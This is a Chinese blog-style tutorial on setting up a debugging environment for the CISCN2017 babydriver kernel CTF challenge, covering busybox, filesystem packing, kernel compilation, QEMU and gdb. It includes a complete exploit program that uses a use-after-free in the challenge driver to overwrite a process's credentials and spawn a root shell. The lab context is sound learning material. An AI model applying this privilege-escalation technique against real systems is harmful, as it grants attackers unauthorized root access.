IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> kernel pwn 环境搭建 -> 正文阅读

[系统运维]kernel pwn 环境搭建

CISCN2017 - babydriver 为例讲解一下 kernel pwn 环境搭建。写的可能有问题,后续会补充。

建议结合视频讲解


首先下载附件里面有 3 个文件,分别为启动脚本,内核镜像和文件系统。
在这里插入图片描述

编译 busybox

kernel 题一般采用的是轻量化的 busybox 文件系统。

官网下载 busybox 源码并解压。我这里下载的版本是 busybox-1.35.0 。

在 busybox 目录下输入

make menuconfig

进入图形界面配置编译选项。

进入 Settings
在这里插入图片描述

选择静态编译。因为动态编译需要额外添加动态链接库,这样会使的文件系统变得非常大。
在这里插入图片描述
设置安装目录
在这里插入图片描述
这里我们选择的是 ./rootfs
在这里插入图片描述
最后保存并退出。
在这里插入图片描述
编译文件

make -j4
make install

可以看到生成了 rootfs 文件夹,这就是编译好的文件系统。
在这里插入图片描述
将其复制到 babydriver 文件夹下。
在这里插入图片描述

打包文件系统

本地调试的时候最好还是选择打包文件系统,而不是上传文件。

对比题目附件的文件系统和自己编译的文件系统,发现缺少很多东西,这些都是用户可以自定义的。
在这里插入图片描述
在这里插入图片描述
这里先贴一下打包脚本 pack.sh

#!/bin/sh

cp -r rootfs rootfs_tmp
cp -r etc rootfs_tmp/
cp init rootfs_tmp/
cp babydriver.ko rootfs_tmp/

gcc -g -static exp.c -o exp
cp exp rootfs_tmp/

chmod +x rootfs_tmp/init
chmod g-w -R rootfs_tmp/
chmod o-w -R rootfs_tmp/
sudo chown -R root rootfs_tmp/
sudo chgrp -R root rootfs_tmp/
sudo chmod u+s rootfs_tmp/bin/busybox

cd rootfs_tmp
find . | cpio -o -H newc > ../rootfs.cpio
cd ..

sudo rm -rf rootfs_tmp

其中 etc 和内核驱动 babydriver.ko 我们直接用题目给的。

init 是启动系统时进行初始化的脚本,根据本地调试环境改为如下内容:

#!/bin/sh

mkdir /tmp
mkdir /proc
mkdir /sys
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s

insmod /babydriver.ko
chmod 666 /dev/babydev

setsid /bin/cttyhack setuidgid 1000 /bin/sh

poweroff -d 0 -f

创建 exp.c ,内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main() {
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);
    // 释放 fd1
    close(fd1);
    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if (pid < 0) {
        puts("[*] fork error!");
        exit(0);
    } else if (pid == 0) {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);
        if (getuid() == 0) {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    } else {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

这里编译的时候可能会出现缺少 stropts.h 的错误,在 /usr/include 中新建一个空的 stropts.h 即可解决。
另外,一般靶机中没有 libc 环境,因此 pack.shexp.c 进行的是静态编译。

现在 babydriver 目录下的文件如下。
在这里插入图片描述
运行 pack.sh 脚本

sudo ./pack.sh

可以看到 rootfs.cpio 已经被替换成打包好的文件系统了。
在这里插入图片描述

编译内核

为了方便调试,需要从这个网站下载与题目所给内核版本相同的内核源码并编译出带调试符号的内核文件。

首先查看题目所给内核版本
在这里插入图片描述
下载对应版本内核并解压
在这里插入图片描述
查看题目所给内核编译时使用的 gcc 版本
在这里插入图片描述
由于 gcc 是 ubuntu16 对应的版本,而我的虚拟机是 20.04 版本,因此需要对 Ubuntu20.04 的源文件 source.list 进行编辑,增加 Ubuntu16 的源。

通过命令用gedit编辑器打开source.list文件

sudo gedit /ect/apt/source.list

在文件尾部增加Ubuntu16的源:

deb http://mirrors.aliyun.com/ubuntu/ xenial main
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main

deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main

deb http://mirrors.aliyun.com/ubuntu/ xenial universe
deb-src http://mirrors.aliyun.com/ubuntu/ xenial universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates universe

deb http://mirrors.aliyun.com/ubuntu/ xenial-security main
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main
deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security universe

保存文件后,输入命令更新源

sudo apt-get update

然后输入命令,查看 gcc-5 可选的版本

apt-cache policy gcc-5

找到了与编译题目内核的 gcc 比较接近的版本(这里我已经安装过了)
在这里插入图片描述
安装

sudo apt-get install gcc-5=5.4.0-6ubuntu1~16.04.12

更新到 update-alternatives 上(接编译 ollvm 时 gcc 版本的设置)

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5

切换到 gcc-5
在这里插入图片描述
在这里插入图片描述

之后编辑配置文件,在 linux-4.4.72 目录下输入

make menuconfig

进入 Kernel hacking
在这里插入图片描述
进这个目录
在这里插入图片描述
选择带调试符号
在这里插入图片描述
退出时记得保存
在这里插入图片描述
设置保存在 .config 文件中。
为了防止后面编译报下面这个错

make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'.  Stop.
make: *** [Makefile:1868: certs] Error 2

需要编辑 .config 文件,直接把下面这个字符串删掉。
在这里插入图片描述
之后编译可能还会缺少一些依赖,为了尽可能一次成功,先把下面这些装一下。

sudo apt install flex
sudo apt install bison
sudo apt install libelf-dev 
sudo apt install libssl-dev
sudo apt install dwarves

之后运行下面这条命令进行编译

make bzImage -j4

如果是系统版本是 ubuntu20.04 ,不出意外最后还会有如下报错
在这里插入图片描述
这是因为动态链接器版本太新,在 ubuntu18.04 版本就可以编译成功。
虽然 20.04 会编译失败,但只是 bzImage 生成不了,带调试符号的 vmlinux 已经生成,后面 gdb 远程调试的时候是从这里加载符号。
在这里插入图片描述

qemu 中运行系统

运行题目所给的 boot.sh 启动系统。
可以看到 exp 已经打包到文件系统中,运行 exp 成功提权。
在这里插入图片描述

gdb 调试

首先驱动代码段的地址。
修改 boot.sh

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokalsr' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -s
  • 添加 nokalsr 关闭地址随机化。
  • 添加 -s,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。

为了加载 babydriver.ko 的符号信息,需要获取其代码段的地址。因为这个操作需要 root 权限,因此修改 init 内容,将

setsid /bin/cttyhack setuidgid 1000 /bin/sh

改为

setsid /bin/cttyhack setuidgid 0 /bin/sh

重新打包并启动系统,查询代码段地址。
在这里插入图片描述
babydriver 目录下创建 gdb.sh ,内容如下:

#!/bin/sh

gdb -q \
    -ex "file vmlinux" \
    -ex "add-symbol-file babydriver.ko 0xffffffffc0000000" \
    -ex "target remote localhost:1234" \
    -ex "b babyopen" \

init 内容改回来,然后重新打包,然后启动系统,运行 gdb.sh 可以正常。
在这里插入图片描述
运行 exp 也可以在断点处停下来。
在这里插入图片描述

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-05-01 16:08:03  更:2022-05-01 16:08:25 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 17:34:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码